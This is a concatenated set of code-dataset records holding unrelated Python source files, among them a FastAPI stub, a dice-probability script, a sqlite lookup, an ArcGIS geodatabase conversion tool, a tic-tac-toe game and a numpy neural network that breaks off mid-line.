type='MSELoss'\n)\n","repo_name":"Jittor/JNeRF","sub_path":"contrib/plenoxel/projects/svox2/configs/svox2_base.py","file_name":"svox2_base.py","file_ext":"py","file_size_in_byte":2243,"program_lang":"python","lang":"en","doc_type":"code","stars":596,"dataset":"github-code","pt":"21"} +{"seq_id":"32275548440","text":"import uvicorn\nfrom fastapi import FastAPI\n\nfrom src.post.routers import app as post_router\n\n\napp = FastAPI()\n\n\n@app.get(\"/\")\nasync def start():\n return {\"message\": \"Hello World!\"}\n\napp.include_router(post_router, prefix=\"/post\", tags=[\"post\"])\n\n\nif __name__ == \"__main__\":\n uvicorn.run(\"main:app\", host=\"0.0.0.0\", port=8000, reload=True)\n","repo_name":"TMaksimS/NetVision","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":345,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"8276565498","text":"#!/usr/bin/python3\n\nimport os, sys\n\ndef yams(num, des):\n result = 1.0\n for de in des:\n if de != num:\n result *= 1.0 / 6.0\n print(\"probabilité d’obtenir un yams de %s : %.2f%%\" % (num, round(result * 100.0, 2)))\n\ndef full(trois, deux, des):\n result = 1.0\n nb = 0\n for de in des:\n if de == trois:\n nb += 1\n result *= pow(1.0 / 6.0, 3 - (nb > 3 and 3 or nb))\n nb = 0\n for de in des:\n if de == deux:\n nb += 1\n result *= pow(1.0 / 6.0, 2 - (nb > 2 and 2 or nb))\n print(\"probabilité d’obtenir un full de %s par les %s : %.2f%%\" % (trois, deux, round(result * 100.0, 2)))\n\ndef paire(num, des):\n count = 0\n chance = 0.0\n for de in des:\n if de == num:\n count += 1\n chance = pow(1.0 / 6.0, 2 - (count > 2 and 2 or count)) * 100.0\n print(\"probabilité d’obtenir une paire de %s : %.2f%%\" % (num, round(chance, 2)))\n\ndef brelan(num, des):\n count = 0\n chance = 0.0\n for de in des:\n if de == num:\n count += 1\n chance = pow(1.0 / 6.0, 3 - (count > 3 and 3 or count)) * 100.0\n print(\"probabilité d’obtenir un brelan de %s : %.2f%%\" % (num, round(chance, 2)))\n\ndef carre(num, des):\n count = 0\n chance = 0.0\n for de in des:\n if de == num:\n count += 1\n chance = pow(1.0 / 6.0, 4 - (count > 4 and 4 or count)) * 100.0\n print(\"probabilité d’obtenir un carre de %s : %.2f%%\" % (num, round(chance, 2)))\n\ndef main():\n if len(sys.argv) != 7:\n print(\"Bug\")\n sys.exit(1)\n\n des = sys.argv[1:6]\n comb = sys.argv[6].split('_')\n if comb[0] == \"yams\":\n yams(comb[1], des)\n elif comb[0] == \"full\":\n full(comb[1], comb[2], des)\n print(des)\n print(comb)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"wayt/AnciensProjets","sub_path":"201yams-2016-ginter_m/201yams.py","file_name":"201yams.py","file_ext":"py","file_size_in_byte":1807,"program_lang":"python","lang":"fr","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"39498725682","text":"import sqlite3\n\nconn = sqlite3.connect(\"contacts.sqlite\")\n\nname = input(\"Please enter a name to search for: \")\n\n# The sqlite placeholder is ?, this will possible be different depending on database platform\n# Also, the variable has to be passed to the SQL statment as a tuple\nfor row in conn.execute(\"SELECT * FROM contacts WHERE name LIKE ?\", (name,)):\n print(row)\n\nconn.close()\n","repo_name":"Scottie-Richardson/python-masterclass","sub_path":"Databases in Python/checkdb.py","file_name":"checkdb.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7538921765","text":"# -*- coding: utf-8 -*-\nfrom urlparse import parse_qs\nfrom urllib import quote\nfrom lib import auth, content, db\nimport common\n\ndef get_handler(environ, start_response, message=\"\"):\n main_tpl = content.get_template(\"main.tpl\")\n header = common.header_html(environ)\n tpl = content.get_template(\"setting.tpl\")\n username = auth.Authenticator.get_username(environ)\n user = db.User.select(UserName = username).one()\n nickname = user.NickName.encode('utf-8') if user.NickName else \"\"\n comment = user.Comment.encode('utf-8') if user.Comment else \"\"\n ispublic = \"checked\" if user.IsPublic else \"\"\n url = \"/user/\" + quote(username)\n url_label = \"http://\" + environ['HTTP_HOST'] + url\n body = tpl.substitute(locals())\n html = main_tpl.substitute(header=header, body=body)\n status = '200 OK'\n response_headers = [('Content-type', 'text/html')]\n start_response(status, response_headers)\n return [html]\n\ndef post_handler(environ, start_response):\n post = parse_qs(environ['wsgi.input'].read())\n username = auth.Authenticator.get_username(environ)\n user = db.User.select(UserName = username).one()\n if 'nickname' in post:\n nickname = post['nickname'][0]\n user.update(NickName = nickname.decode('utf-8'))\n else:\n user.update(NickName = None)\n if 'comment' in post:\n comment = post['comment'][0]\n user.update(Comment = comment.decode('utf-8'))\n else:\n user.update(Comment = None)\n if 'ispublic' in post:\n user.update(IsPublic = True)\n else:\n user.update(IsPublic = False)\n return get_handler(environ, start_response, \"設定が完了しました。\")\n\ndef application(environ, start_response):\n method = environ.get('REQUEST_METHOD', 'GET')\n if method == 'GET':\n if auth.Authenticator.authenticated(environ):\n return get_handler(environ, start_response)\n else:\n return common.notice_error(environ, start_response, \"ログインしてください。\")\n elif method == 'POST':\n return post_handler(environ, start_response)\n","repo_name":"niconico-pm/CC-au-lait","sub_path":"setting.py","file_name":"setting.py","file_ext":"py","file_size_in_byte":2091,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"11113087190","text":"import InitRand\nimport tensorflow as tf\nimport numpy as np\nimport Neuron_network as nn\n\"\"\"\nSoftC\nused to initialize n number of variables according to the prediction \nfrom the RNN\n\"\"\"\n\"\"\"\"\nDropout\n__init__(\n rate=0.5,\n noise_shape=None,\n seed=None,\n name=None,\n **kwargs\n)\n\"\"\"\n\n\n\"\"\"testing python commit\"\"\"\nclass Dense():\n def Soft_train(self,InArr,output_layer,iteration = 1):\n connection_matrix = []\n InArr = InArr[0]\n x = tf.placeholder(tf.float32, [None, 1])\n model = tf.layers.dense(x, units=1500, activation=tf.nn.relu,bias_initializer=tf.contrib.layers.xavier_initializer())\n model = tf.layers.dense(model, units=1000, activation=tf.nn.relu,bias_initializer=tf.contrib.layers.xavier_initializer())\n model = tf.layers.dropout(model,rate = 0.5)\n model = tf.layers.dense(model, units=800, activation=tf.math.tan,bias_initializer=tf.contrib.layers.xavier_initializer())\n model = tf.layers.dropout(model,rate = 0.5)\n model = tf.layers.dense(model, units=900, activation=tf.nn.softmax,bias_initializer=tf.contrib.layers.xavier_initializer())\n model = tf.layers.dense(model, units=output_layer, activation=tf.nn.softmax,bias_initializer=tf.contrib.layers.xavier_initializer())\n \"\"\"\n find a function that relates the input and output\n given [3.343,1.235,0.34324,0.23432] input &\n [0.343234,0.34545,0.452,.0234234,.49853495]\n map the input to output \n \"\"\"\n \"\"\"\n Insted of predicting values for each neurons predict a connection matrix\n [[ni,ni+10,ni+20,] ,[nj] ,[nk,nk+1] ]\n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .\n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .\n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .\n [[nm,nm+1,nm+4,nm+5] ,[nb+76,nb+10,nb+2] ,[nl+9,nl+3] ]\n \"\"\"\n # cost = tf.reduce_mean((model-x)**2)\n # opt = tf.train.RMSPropOptimizer(0.01).minimize(cost)\n init = tf.global_variables_initializer()\n # tf.summary.scalar(\"cost\",cost)\n # merge_summary_op = tf.summary.merge_all()\n print(\"Training\")\n sys.stdout.write(\"||\")\n with tf.Session() as sess:\n writer = tf.summary.FileWriter(logdir='./dense_graph',\n graph=sess.graph)\n sess.run(init)\n for num_ne in InArr:\n for elem in range(num_ne):\n layer_out_connection = sess.run(model, feed_dict={x: [[elem]]})\n mean = np.divide(np.sum(layer_out_connection),output_layer)\n layer_out_connection = np.where(layer_out_connection >=(mean+(mean*0.004)),1,0)\n connection_matrix.append(layer_out_connection[0])\n if(elem%200==0):\n sys.stdout.write(\"#\")\n sys.stdout.flush()\n print(\"||\\ntraining_complete !\")\n print(np.shape(connection_matrix))\n return connection_matrix\n\ndef run():\n try:\n layers = np.load('./layers.npy')\n Neurons = np.load('./neurons.npy')\n print(layers)\n print(Neurons)\n except:\n print(\"Error reading File --- !!!!\")\n nn.run()\n layers = np.load('./layers.npy')\n Neurons = np.load('./neurons.npy')\n print(\"test phase 3 \")\n Neuron_number = np.sum(Neurons)\n print(Neuron_number)\n Neurons = Neurons.astype(int)\n SoftNet = Dense()\n Connections = SoftNet.Soft_train(Neurons, Neuron_number)\n np.save('./mask.npy', Connections)\n print(\"Save Complete !!\")\n return Connections\n\n\n\nif __name__ == \"__main__\":\n connection = run()\n print(connection)\n print(\" Neuro_connection found \")\n\n\n\n\n","repo_name":"Abey12525/PhiNet","sub_path":"Neuro_Connections.py","file_name":"Neuro_Connections.py","file_ext":"py","file_size_in_byte":3823,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"27169185920","text":"# -*- coding: utf-8 -*-\n\"\"\"\nconvert_to_geodatabase.py\nCreated on: 2018-01-10 15:29:52.00000\nDescription: Convert coverages features to geodatabase feature classes\n@author: Brian Wilson \n\"\"\"\nfrom __future__ import print_function\nimport arcpy\nimport os, logging\nimport re\nfrom ormap.arc_utilities import ListFieldNames, DeleteFC, AddField\nfrom ormap.ormapnum import ormapnum\n\n# ========================================================================\n\ndef import_feature_class(coverage, fc):\n \"\"\" Import a coverage into a geodatabase feature class.\n The output feature class has to exist. \"\"\"\n\n logging.info(\"import_features(%s, %s)\" % (coverage,fc))\n rval = False\n\n if not arcpy.Exists(coverage):\n logging.error(\"Input coverage must exist. %s\" % coverage)\n elif not arcpy.Exists(fc):\n logging.error(\"Output feature class must exist. %s\" % fc)\n else: \n try:\n arcpy.Append_management(coverage, fc, \"NO_TEST\")\n except Exception as e:\n logging.error(\"import_features(%s,%s) Append :%s\" % (coverage,fc, e))\n rval = True\n\n return rval\n\ndef import_features(source_folder, geodatabase):\n\n # First item is coverage name, second is featureclass name\n # DON'T forget, attributes won't be in the output featureclass unless they are in the template database.\n\n table_xlat = [\n (\"tmpcorner\\\\point\", \"corner\", \"MapScale\"), #\n\n# (\"tmptaxlot\\\\polygon\", \"taxlots_fd\\\\taxlot\", None), # polygons are generated by make_polygons\n (\"tmptaxlot\\\\arc\", \"taxlots_fd\\\\taxlot_lines\", None), # geometry source\n (\"tmptaxlot\\\\label\", \"taxlots_fd\\\\taxlot_points\", None), # attribute source\n\n# (\"tmptaxcode\\\\polygon\", \"taxlots_fd\\\\taxcode\", None), # polygons are generated by make_polygons\n (\"tmptaxcode\\\\arc\", \"taxlots_fd\\\\taxcode_lines\", None), # geometry source\n (\"tmptaxcode\\\\label\", \"taxlots_fd\\\\taxcode_points\", None), # attribute source\n \n# (\"tmptaxbound\\\\polygon\", \"taxlots_fd\\\\mapindex\", \"MapScale\"), # polygons are generated by make_polygons\n (\"tmptaxbound\\\\arc\", \"taxlots_fd\\\\mapindex_lines\", None), # geometry source\n (\"tmptaxbound\\\\label\", \"taxlots_fd\\\\mapindex_points\", None), # attribute source\n\n (\"tmpwaterl\\\\arc\", \"water_lines\", \"MapScale\"),\n# (\"tmpwater\\\\polygon\", \"Water\", None), # needed??\n\n (\"tmpcartol\\\\arc\", \"cartographic_lines\", \"MapScale\"),\n (\"tmprefl\\\\arc\", \"reference_lines\", \"MapScale\"),\n (\"tmpplssl\\\\arc\", \"plss_lines\", \"MapScale\"),\n ]\n\n start = 0\n maxcount = len(table_xlat)\n step = 1\n \n t = 0\n for coverage,fc,fieldname in table_xlat:\n t += 1\n\n srccvg = os.path.join(source_folder, coverage) \n destfc = os.path.join(geodatabase, fc)\n\n import_feature_class(srccvg, destfc)\n \n return True\n\ndef label_polygons(infc, labelfc, outfc):\n \"\"\" Label polygons.\n infc input feature class (can be lines or polygons)\n labelfc point feature class containing attributes for outfc\n outfc where to write polygons \"\"\"\n\n logging.info(\"label_polygons(%s, %s, %s)\" % (infc, labelfc, outfc))\n # Notes on \"FeatureToPolygon\"\n # If you use the \"NO ATTRIBUTES\" default, then only the shapes are move from the input to the generated polygon feature class.\n # If you use \"ATTRIBUTES\" the attributes are copied.\n # If you use \"ATTRIBUTES\" and a polygon or line feature class AND a point feature class,\n # the attributes from the points are copied to the output (the poly/line attributes are lost). \n # If there are multiple points inside a new polygon feature it picks attributes from one randomly. \n # Input features can be lines or polygons, so you can think of it as a way of just transferring the attributes if you have input polygons.\n # The blank \"\" arg is a tolerance, if you have sloppy input you can use this to close the polygons.\n #\n # NB when I ran it as a standalone tool in ArcMap I got a background server error, I had to run it in foreground.\n\n # I wish that ESRI was a bit more consistent in what DOES and DOES NOT support the workspace environment variable.\n ws = str(arcpy.env.workspace)\n \n logging.info(\"label_polygons(%s, %s, %s)\" % (infc, labelfc, outfc))\n i = os.path.join(ws, infc)\n l = os.path.join(ws, labelfc)\n o = os.path.join(ws, outfc) \n \n try:\n arcpy.Delete_management(o)\n except Exception as e:\n logging.info(\"Did not delete %s, %s\" % (o, e))\n try:\n arcpy.FeatureToPolygon_management(i, o, \"\", \"ATTRIBUTES\", l)\n except Exception as e:\n logging.error(e)\n\n return\n\ndef my_improved_dissolve(oldfc, newfc, identifier, fields):\n \"\"\" Does the dissolve without screwing up the fieldnames. \"\"\"\n mappedfields = [[f, \"FIRST\"] for f in fields]\n if arcpy.Exists(newfc): arcpy.Delete_management(newfc)\n arcpy.Dissolve_management(oldfc, newfc, identifier, mappedfields)\n\n # Unspeakably stupid \"feature\": they renamed our fields with FIRST_\n # so put them back to what they were\n fields = arcpy.ListFields(newfc, \"FIRST_*\")\n for f in fields:\n oldname = f.aliasName\n AddField(newfc, oldname, f.type, fieldlen=f.length)\n arcpy.CalculateField_management(newfc, oldname, '!' + f.name + '!', \"PYTHON_9.3\")\n arcpy.DeleteField_management(newfc, f.name)\n\n return\n\ndef add_mapindex_fields(fc):\n \"\"\" Update the mapindex by adding CityName field\n and adding and populating ShortMapTitle and LongMapTitle fields.\n \"\"\"\n\n AddField(fc, \"CityName\", \"TEXT\", fieldlen=50) # ORMap requirement\n AddField(fc, \"ShortMapTitle\", \"TEXT\", fieldlen=20)\n AddField(fc, \"LongMapTitle\", \"TEXT\", fieldlen=50)\n\n orm = ormapnum()\n\n fields = [\"ORMapNum\", \"ShortMapTitle\", \"LongMapTitle\", \"OID@\"]\n ORMAPNUM = 0\n SHORTTTL = 1\n LONGTTL = 2\n OID = 3\n\n with arcpy.da.UpdateCursor(fc, fields) as cursor:\n for row in cursor:\n oid = row[OID]\n o = row[ORMAPNUM]\n if not o:\n logging.debug(\"Deleting empty feature %d in %s\" % (oid, fc))\n cursor.deleteRow()\n else:\n try:\n orm.unpack(o)\n row[SHORTTTL] = orm.shortmaptitle\n row[LONGTTL] = orm.longmaptitle\n except ValueError as e:\n logging.warn(e)\n\n cursor.updateRow(row)\n return\n\n__stdscales = {\n 10 : 120,\n 20 : 240,\n 30 : 360,\n 40 : 480,\n 50 : 600,\n 60 : 720, \n 100 : 1200,\n 200 : 2400,\n 400 : 4800,\n 800 : 9600,\n 1000 : 12000,\n 2000 : 24000}\n\ndef fix_mapacres(fc):\n \"\"\" The field mapacres needs to be filled in with acres. \"\"\"\n logging.info(\"Calculating MapAcres in %s\" % fc)\n arcpy.CalculateField_management(fc, \"MapAcres\", \"!SHAPE.AREA@ACRES!\", \"PYTHON\")\n return\n\ndef fixmapscale(fc):\n \"\"\" Fix the values of a mapscale column, if they are not already correct. \n Returns number of rows updated. \"\"\"\n # Since this only changes known \":' scales to relative scales,\n # it can be run over and over and it won't hurt anything.\n \n count = 0\n\n if not arcpy.Exists(fc) or int(arcpy.GetCount_management(fc).getOutput(0)) == 0:\n logging.debug(\"fixmapscale(%s) No features\" % fc)\n return\n d = arcpy.Describe(fc)\n try:\n if d.featureType != \"Simple\":\n return 0\n except Exception as e:\n logging.error(\"fix_mapscale(%s): %s\" % (fc,e))\n return 0\n\n fieldnames = ListFieldNames(fc)\n try:\n i = [s.lower() for s in fieldnames].index('mapscale')\n f = fieldnames[i]\n except ValueError:\n return 0\n\n logging.info(\"Recalculating %s in %s.\" % (f,fc))\n with arcpy.da.UpdateCursor(fc, [f]) as cursor:\n for row in cursor:\n try:\n newscale = __stdscales[row[0]]\n row[0] = newscale\n cursor.updateRow(row)\n count += 1\n except KeyError:\n continue # Probably does not need updating\n\n logging.debug(\"fixmapscale(%s): %d rows updated\" % (fc, count))\n return count\n\ndef fix_mapscales(fclist):\n \"\"\" Fix the \"mapscale\" field in a list of feature classes. \n arcpy.env.workspace has to be set to the geodatabase. \"\"\"\n\n for fc in arcpy.ListFeatureClasses():\n if fc in fclist: # Only do the ones in this list\n fixmapscale(fc)\n\n return\n\ndef fixlinetype(fc):\n \"\"\" Fix the value of linetype column.\n Returns number of rows updated. \"\"\"\n\n count = 0\n\n if not arcpy.Exists(fc) or int(arcpy.GetCount_management(fc).getOutput(0)) == 0:\n logging.debug(\"fixlinetype(%s) No features\" % fc)\n return\n d = arcpy.Describe(fc)\n try:\n if d.featureType != \"Simple\":\n return 0\n except Exception as e:\n logging.error(\"fixlinetype(%s): %s\" % (fc,e))\n return 0\n\n fieldnames = ListFieldNames(fc)\n try:\n i = [s.lower() for s in fieldnames].index('linetype')\n f = fieldnames[i]\n except ValueError:\n return 0\n\n logging.info(\"Setting %s in %s.\" % (f,fc))\n with arcpy.da.UpdateCursor(fc, [f, 'taxlot']) as cursor:\n for row in cursor:\n if row[1] == 'ROAD':\n lt = 8\n elif row[1] == 'RAIL':\n lt = 14\n else:\n lt = 32\n row[0] = lt\n cursor.updateRow(row)\n count += 1\n\n return count\n\n\ndef fix_linetypes(fclist):\n \"\"\" Fix the \"linetype\" field in a list of feature classes. \n arcpy.env.workspace has to be set to the geodatabase. \"\"\"\n\n for fc in arcpy.ListFeatureClasses():\n if fc in fclist: # Only do the ones in this list\n fixlinetype(fc)\n return\n\ndef finish_features(workspace):\n\n saved = arcpy.env.workspace\n arcpy.env.workspace = workspace\n cleanup = [] # list of things to clean up when we're done debugging\n\n # You have to label the polygons first, then dissolve,\n # because the coverage features don't have any dissolvable attribute\n # That means you have to preserve attributes in the dissolve operation. Sorry.\n\n label_polygons(\"mapindex_lines\", \"mapindex_points\", \"mapindex_poly\")\n my_improved_dissolve(\"mapindex_poly\", \"mapindex\", \"PageName\", \n [\"MapScale\", \"MapNumber\", \"ORMapNum\", \"ReliaCode\", \"AutoDate\", \"AutoMethod\", \"AutoWho\", ])\n arcpy.Delete_management(\"mapindex_poly\") # intermediary files can be deleted right away\n cleanup.append(\"mapindex_lines\")\n cleanup.append(\"mapindex_points\")\n add_mapindex_fields(\"mapindex\")\n\n fix_mapscales([\"mapindex\"])\n\n label_polygons(\"taxcode_lines\", \"taxcode_points\", \"taxcode_poly\")\n my_improved_dissolve(\"taxcode_poly\", \"taxcode\", \"TaxCode\", \n [\"County\", \"Source\", \"YearCreated\", \"ReliaCode\", \"AutoDate\", \"AutoMethod\", \"AutoWho\"])\n arcpy.Delete_management(\"taxcode_poly\") # intermediary files can be deleted right away\n cleanup.append(\"taxcode_lines\")\n cleanup.append(\"taxcode_points\")\n\n # I could probably do the thing to drop ROAD RAIL WATER polygons here\n label_polygons(\"taxlot_lines\", \"taxlot_points\", \"taxlot\")\n cleanup.append(\"taxlot_lines\")\n cleanup.append(\"taxlot_points\")\n\n fix_mapacres(\"taxlot\")\n fix_linetypes([\"taxlot\"]) # This sets LineType to 8,14,32 which I could simplify by dropping RAIL and ROAD...\n\n for fc in cleanup:\n print(\"Time has come to delete %s, go ahead, be brave.\" % fc)\n #arcpy.Delete_management(fc)\n\n arcpy.env.workspace = saved\n\n return\n\n# ========================================================================\n \nif __name__ == \"__main__\":\n\n workfolder = \"C:\\\\GeoModel\\\\Clatsop\\\\Workfolder\"\n target = \"t6-10\"\n sourcedir = os.path.join(workfolder, target)\n geodatabase = os.path.join(workfolder, \"ORMAP_Clatsop.gdb\")\n\n #print(\"Importing features...\")\n #import_all_features(sourcedir, geodatabase)\n\n finish_features(os.path.join(geodatabase, \"taxlots_fd\"))\n\n print(\"coverage_to_geodatabase tests completed.\")\n\n# That's all!\n","repo_name":"bwilsoncc/MapProduction","sub_path":"Conversion/coverage_to_geodatabase.py","file_name":"coverage_to_geodatabase.py","file_ext":"py","file_size_in_byte":12503,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"26832040320","text":"import tkinter as tk\nfrom tkinter import messagebox\nfrom random import randrange\n\n\nwnd = tk.Tk()\nwnd.title(\"TicTacToe\")\n\n\ndef set_ox(btn, sign):\n btn[\"fg\"] = btn[\"activeforeground\"] = \"red\" if sign == 'X' else \"green\"\n btn[\"text\"] = sign\n\n\ndef winner():\n for sign in (\"X\", \"O\"):\n for x in range(3):\n if sign == board[x][0][\"text\"] == board[x][1][\"text\"] == board[x][2][\"text\"]:\n return sign\n if sign == board[0][x][\"text\"] == board[1][x][\"text\"] == board[2][x][\"text\"]:\n return sign\n if sign == board[0][0][\"text\"] == board[1][1][\"text\"] == board[2][2][\"text\"]:\n return sign\n if sign == board[0][2][\"text\"] == board[1][1][\"text\"] == board[2][0][\"text\"]:\n return sign\n return None\n\n\ndef free_cells():\n list = []\n for row in range(3):\n for col in range(3):\n if board[row][col][\"text\"] == \"\":\n list.append( (row, col) )\n return list\n\n\ndef announce(win):\n messagebox.showinfo(\"Game Over!\", (\"I\" if win == \"X\" else \"You\") + \" won!\")\n wnd.destroy()\n exit(0)\n\ndef clicked(event):\n btn = event.widget\n if btn[\"text\"] != \"\":\n return\n set_ox(btn, \"O\")\n if not winner() is None:\n announce(\"O\")\n free = free_cells()\n this = free[randrange(0, len(free))]\n set_ox(board[this[0]][this[1]], \"X\")\n if not winner() is None:\n announce(\"X\")\n\n\nboard = [[None for c in range(3)] for r in range(3)]\nfor col in range(3):\n for row in range(3):\n btn = tk.Button(wnd, width=4, height=1, font=(\"Arial\", 30, \"bold\"), text=\"\")\n btn.bind(\"\", clicked)\n btn.grid(column=col, row=row)\n board[row][col] = btn\nset_ox(board[1][1], \"X\")\nwnd.mainloop()\n","repo_name":"yukikitayama/python","sub_path":"gui/tic_tac_toe.py","file_name":"tic_tac_toe.py","file_ext":"py","file_size_in_byte":1758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28605178037","text":"import scipy.io\nimport optparse\nimport json\nimport numpy\n\nparser = optparse.OptionParser()\n# Input/Output data information\nparser.add_option(\"--srcPath\", action=\"store\", dest=\"srcPath\",\n type=\"string\", help=\"path to file containing matlab data\",\n default='meta_clsloc.mat')\nparser.add_option(\"--dstPath\", action=\"store\", dest=\"dstPath\",\n type=\"string\", help=\"path to file which will contain the json data\",\n default='meta_clsloc.json')\n(opt, args) = parser.parse_args()\nprint(opt)\n\nmat = scipy.io.loadmat(opt.srcPath)\n\n# Convert arrays to lists, etc\n\ndef tolist(mat):\n if type(mat) is numpy.ndarray:\n mat = mat.tolist()\n elif type(mat) is list or type(mat) is tuple:\n mat = list(mat)\n \n if type(mat) is list:\n mat = [tolist(item) for item in mat]\n elif type(mat) is dict:\n for k, v in mat.items():\n mat[k] = tolist(v)\n \n return mat\n \nmat = tolist(mat)\n \nwith open(opt.dstPath, 'w') as outfile:\n json.dump(mat, outfile)\n","repo_name":"nicholas-leonard/dp","sub_path":"scripts/mat2json.py","file_name":"mat2json.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","stars":341,"dataset":"github-code","pt":"21"} +{"seq_id":"5429243450","text":"import numpy as np\nfrom scipy.io import savemat, loadmat\nfrom DataSplitter import parse_data\nimport matplotlib.pyplot as plt\n\n\ndef relu(Z):\n return np.maximum(0, Z)\n\n\ndef relu_backward(dA, cache):\n Z = cache\n dZ = np.array(dA, copy=True)\n dZ[Z <= 0] = 0\n return dZ\n\n\ndef sigmoid(x):\n return 1 / (1 + np.exp(-x))\n\n\ndef sigmoid_backward(dA, cache):\n Z = cache\n s = 1 / (1 + np.exp(-Z))\n dZ = dA * s * (1 - s)\n return dZ\n\n\nclass Model:\n def __init__(self, layer_dims: [int], seed=1):\n np.random.seed(seed) # Seed for random numbers generation\n self.L = len(layer_dims) # Number of layers\n self.layer_dims = layer_dims # Dimensions of each layer\n self.caches = [[] for _ in range(self.L - 1)]\n self.W = [0] * (self.L - 1)\n self.b = [0] * (self.L - 1)\n self.dA = [0] * (self.L - 1)\n self.db = [0] * (self.L - 1)\n self.dW = [0] * (self.L - 1)\n self.costs = []\n self.v_dW = [0] * (self.L - 1)\n self.v_db = [0] * (self.L - 1)\n self.s_dW = [0] * (self.L - 1)\n self.s_db = [0] * (self.L - 1)\n self.cost = 0\n\n def fit(self, folds_X, folds_Y, learning_rate=0.01, number_iterations=6000):\n \"\"\"\" Trains the model. \"\"\"\n self.initialize_Adam()\n for i in range(number_iterations):\n AL = self.propagate_forward(folds_X)\n self.cost = self.compute_cost(AL, folds_Y)\n self.costs.append(self.cost)\n self.propagate_backward(AL, folds_Y)\n self.update_parameters_with_adam(learning_rate)\n # self.save_weights()\n if i % 5 == 0:\n print(\"Iterations: \", i, \"cost: \", self.cost)\n plt.plot(range(i+1), self.costs)\n plt.savefig('learning_fig.png')\n # self.save_weights()\n\n def save_weights(self, file='data/weights/weights.mat'):\n savemat(file, mdict={'W': self.W,\n 'b': self.b})\n\n def load_weights(self, file='data/weights/weights.mat'):\n mat = loadmat(file)\n self.W = mat['W'][0]\n self.b = mat['b'][0]\n\n def initialize_parameters(self):\n \"\"\" Initialize W, b parameters with Xavier initialization. \"\"\"\n for i in range(1, self.L):\n self.W[i - 1] = np.random.randn(self.layer_dims[i], self.layer_dims[i - 1]) * 0.01\n self.b[i - 1] = np.zeros((self.layer_dims[i], 1))\n\n def initialize_Adam(self):\n for i in range(0, len(self.W)):\n self.v_dW[i] = np.zeros(self.W[i].shape)\n self.v_db[i] = np.zeros(self.b[i].shape)\n self.s_dW[i] = np.zeros(self.W[i].shape)\n self.s_db[i] = np.zeros(self.b[i].shape)\n\n def propagate_forward(self, X):\n \"\"\"\" Implements forward propagation and returns AL - vector of predictions for samples in X. \"\"\"\n\n A = X\n L = self.L - 1\n\n for i in range(0, L - 1):\n Z = np.matmul(self.W[i], A) + self.b[i]\n cache = ((A, self.W[i], self.b[i]), Z)\n A = relu(Z)\n self.caches[i] = cache\n Z = np.matmul(self.W[L - 1], A) + self.b[L - 1]\n cache = ((A, self.W[L - 1], self.b[L - 1]), Z)\n AL = sigmoid(Z)\n self.caches[L - 1] = cache\n return AL\n\n def compute_cost(self, AL, Y):\n \"\"\" Computes the cross-entropy cost based on predictions vector AL and true labels Y. \"\"\"\n m = Y.shape[1]\n cost = (-1 / m) * np.sum(np.multiply(Y, np.log(AL)) + np.multiply(1 - Y, np.log(1 - AL)))\n cost = np.squeeze(cost)\n\n return cost\n\n def linear_backward(self, dZ, cache):\n A_prev, W, b = cache\n m = A_prev.shape[1]\n dW = np.dot(dZ, A_prev.T) * (1 / m)\n db = np.sum(dZ, axis=1, keepdims=True) * (1 / m)\n dA_prev = np.dot(W.T, dZ)\n return dA_prev, dW, db\n\n def linear_activation_backward(self, dA, cache, activation):\n linear_cache, activation_cache = cache\n if activation == \"relu\":\n dZ = relu_backward(dA, activation_cache)\n dA_prev, dW, db = self.linear_backward(dZ, linear_cache)\n elif activation == \"sigmoid\":\n dZ = sigmoid_backward(dA, activation_cache)\n dA_prev, dW, db = self.linear_backward(dZ, linear_cache)\n\n return dA_prev, dW, db\n\n def propagate_backward(self, AL, Y):\n \"\"\" Competes gradients for further parameters update. \"\"\"\n L = len(self.caches)\n Y = Y.reshape(AL.shape)\n dAL = - (np.divide(Y, AL) - np.divide(1 - Y, 1 - AL))\n cache = self.caches[L - 1]\n self.dA[L - 1], self.dW[L - 1], self.db[L - 1] = self.linear_backward(sigmoid_backward(dAL, cache[1]), cache[0])\n for i in reversed(range(L - 1)):\n cache = self.caches[i]\n self.dA[i], self.dW[i], self.db[i] = self.linear_backward(sigmoid_backward(self.dA[i + 1], cache[1]),\n cache[0])\n\n def update_parameters(self, learning_rate):\n \"\"\" Updates the W, b parameters. \"\"\"\n for i in range(self.L - 1):\n self.W[i] -= learning_rate * self.dW[i]\n self.b[i] -= learning_rate * self.db[i]\n\n def update_parameters_with_adam(self, learning_rate, t=0, beta1=0.9, beta2=0.999, epsilon=1e-8):\n L = len(self.W)\n correct_v_dW = [0] * L\n correct_v_db = [0] * L\n correct_s_dW = [0] * L\n correct_s_db = [0] * L\n\n for i in range(self.L - 1):\n t += 1\n\n self.v_dW[i] = self.v_dW[i] * beta1 + (1 - beta1) * self.dW[i]\n self.v_db[i] = self.v_db[i] * beta1 + (1 - beta1) * self.db[i]\n correct_v_dW[i] = self.v_dW[i] / (1 - np.power(beta1, t))\n correct_v_db[i] = self.v_db[i] / (1 - np.power(beta1, t))\n self.s_dW[i] = self.s_dW[i] * beta2 + (1 - beta2) * np.power(self.dW[i], 2)\n self.s_db[i] = self.s_db[i] * beta2 + (1 - beta2) * np.power(self.db[i], 2)\n correct_s_dW[i] = self.s_dW[i] / (1 - np.power(beta2, t))\n correct_s_db[i] = self.s_db[i] / (1 - np.power(beta2, t))\n\n self.W[i] = self.W[i] - learning_rate * correct_v_dW[i] / (np.sqrt(correct_s_dW[i]) + epsilon)\n self.b[i] = self.b[i] - learning_rate * correct_v_db[i] / (np.sqrt(correct_s_db[i]) + epsilon)\n\n\nif __name__ == '__main__':\n X, Y = 